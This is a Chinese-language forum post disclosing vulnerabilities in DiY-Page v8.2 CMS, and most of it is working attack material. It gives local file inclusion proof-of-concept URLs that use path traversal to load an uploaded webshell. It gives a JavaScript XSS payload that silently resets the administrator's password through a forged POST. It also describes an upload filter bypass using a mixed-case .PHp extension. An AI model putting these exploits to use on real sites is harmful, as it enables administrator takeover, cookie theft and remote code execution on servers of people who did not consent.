DiY-Page 再爆多处漏洞

作者:hack1990 时间:11-02-15 阅读数:509人阅读

前面有人研究过DiY-Page sqlInj漏洞分析的帖子,我也跟着读了读代码,发现Diy-Page v8.2程序还存在多处漏洞,包括本地文件包含漏洞,上传漏洞,跨站漏洞,etc..

A、本地文件包含漏洞

 
     //js.php
   $incfile=PATH_PRE.'mod/'.$_GET['mod'].'/js/'.$_GET['name'].'.php';
   if(!include$incfile) dperror($l_error['cant_include'],$incfile,true);   

这个漏洞比较明显,如果GPC为off,本来可以通过上传附件包含之,但程序在关闭GPC的时候又使用了addslashes函数过滤。
我们还可以通过若干长文件名截断,或旁注上传一个webshell到/tmp文件夹下包含。
   

POC:
http://127.0.0.1/diypage/js.php?mod=dpuser&name=../../../up/201102/20110213_dd7ec931179c4dcb6a8ffb8b8786d20b_17872a.txt.file/////////////////
http://127.0.0.1/diypage/js.php?mod=dpuser&name=../../../../tmp/shell



B、xss跨站漏洞
   跨站比较多,完全没过滤,类似的代码有:

 
     if($_POST['issubmit']==true) { 
    $fidarray=trim($_POST['fidarray'],',');
    $backurl='javascript:history.go(-1);';
    $actionurlold=$actionurl;
    $actionurl.='&do=list&cataid='.$_GET['cataid'];
    $entrytitle=$_POST['entrytitle'];
    $entrycontent=$_POST['entrycontent'];
    $entrytag=trim($_POST['entrytag']);
              ……

可在发布条目的标题处写js,这个XSS跨首页也跨后台。
既然有了XSS,能做的事情就很多,譬如劫持用户、偷取COOKIE、提高权限、写shell等,下面是重置管理员密码的js:

 
  varxmlhttp=false;
  if(window.XMLHttpRequest){
    xmlhttp=newXMLHttpRequest();
  }elseif(window.ActiveXObject){
    xmlhttp=newActiveXObject("Msxml2.XMLHTTP");
  if(!xmlhttp){xmlhttp=newActiveXObject("Microsoft.XMLHTTP");}
  }
  varaction="/diypage/admin.php?mod=modcp&formod=dpuser&item=useradm&do=edit&uid=1&page=1&perpage=20";
  vardata="gid=2&oldgid=2&dpusername=admin&dpusernewpassword=cnryan&usertpl=®ip=&loginip=&dpuseremail=&dpusermoney=0&dpuserintro=&avatar=default.gif&nickname=&issubmit=true";
  xmlhttp.open("POST", action, false);
  xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  xmlhttp.send(data);

C、上传漏洞
  DiY-Page处理上传附件的get_upload_filename函数有破绽,代码如下:

 
  /inc/func.php
  functionget_upload_filename($realname) {
   $exttmp=explode(".",$realname);
   $ext=$exttmp[count($exttmp)-1];    
   $ext=str_replace(array('asp','asa',';',"'",'php'),'',$ext);   //过滤可执行文件
   $filepath=get_upload_path().'/';
   $filesubdir=date('Ym').'/';
   mkdir($filepath.$filesubdir,0777);
   $datetmp=explode(" ",microtime());
   $filesuffix=substr(md5($datetmp[1]),0,6);
   if(!in_array(strtolower($ext),array('jpg','gif','png','bmp'))) $ext.='.file';    //后缀加上.file
   $filename=$filesubdir.date('Ymd').'_'.md5($realname).'_'.$filesuffix.'.'.$ext;
   $filepath.=$filename;
   returnarray('filename'=>$filename,'filepath'=>$filepath);
  }  

get_upload_filename()把附件名含有asp、asa、php后缀的替换为空,str_replace可以利用大写绕过。另外上传的附件如果不是 'jpg','gif','png','bmp'后缀的会自动以 .file作为 后缀,这个同样可以透过apache文件名解析缺陷漏洞利用。

   注册会员->发布条目->上传 *.PHp 即可。


作者:cnryan

 

发表评论